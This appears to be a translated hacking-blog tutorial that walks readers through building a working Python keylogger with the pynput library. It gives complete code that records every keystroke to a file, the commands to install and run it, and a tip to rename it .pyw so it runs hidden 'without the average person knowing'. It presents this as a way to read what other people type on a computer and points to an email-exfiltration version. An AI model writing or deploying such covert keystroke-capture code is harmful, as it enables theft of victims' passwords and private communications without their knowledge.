Today I will guide you to write Code Keylogger in Python extremely simply. Currently, Python applications are being popular, especially the Ministry of Education has included Python in the secondary school curriculum. Therefore, it is never too early to study Python right now. Python is famous for its easy code and many libraries available. One of them is the pynput library that helps you to record keyboard and mouse logs, from which you can create a simple keylogger.
Join the channel Telegram of the AnonyViet 👉 Link 👈 |
The easiest way to create a KeyLogger in Python
A keylogger is a type of monitoring software designed to record user keystrokes. One of the oldest forms of cybersecurity threats, this keystroke logging feature records the information you enter any character on the keyboard, the Keylogger will record and save it to a file that will then be displayed. send to Hackers. So if the Keylogger is installed on the victim’s computer, the hacker can easily steal your account and password.
With only 7 python commands, you can easily create a simple Keylog for yourself.
First you need Download and install Python 3.x (currently Python 3.9). When installing, remember to select the function Add Python 3.x to Path on the first screen at installation.
You open CMD as Administrator and type the command:
pip install pynput
Next, open notepad, copy the keylogger code below and save it as keylog.py
from pynput.keyboard import Listener def evnt_key_press(key): f = open('key.txt','a') f.write(str(key).replace("'",'') + "\n" ) f.close() obj = Listener(on_press=evnt_key_press) obj.start() obj.join()
That’s it, now open CMD as Administrator and type the command
cd C:\
python keylog.py
Now on C drive will appear file key.txt
, this file will store the characters that you typed on the keyboard. Each character is in a row, please take the time to put the letters together.
Now just activate the file keylog.pyyou’ll see what other people have typed on your computer, making it easier for you to control your computer.
In case you do not want to display the CMD window when activating Keylog, rename the file keylog.py Fort keylog.pyw
Now you can close the CMD . window okay, the keylog will work in the background without the average person knowing.
If you want to disable Keylog, then open it Task Manager (Ctrl + Shift + Esc) Go up and find the Process named Python -> End task
So AnonyViet has shown you how to write Keylogger in Python in the simplest way. As for the advanced features such as sending to email, taking screenshots … I will talk about it in the next post.
Update 9/29/2021: You can refer to Code Keylogger Python send Email at Github AnonyViet.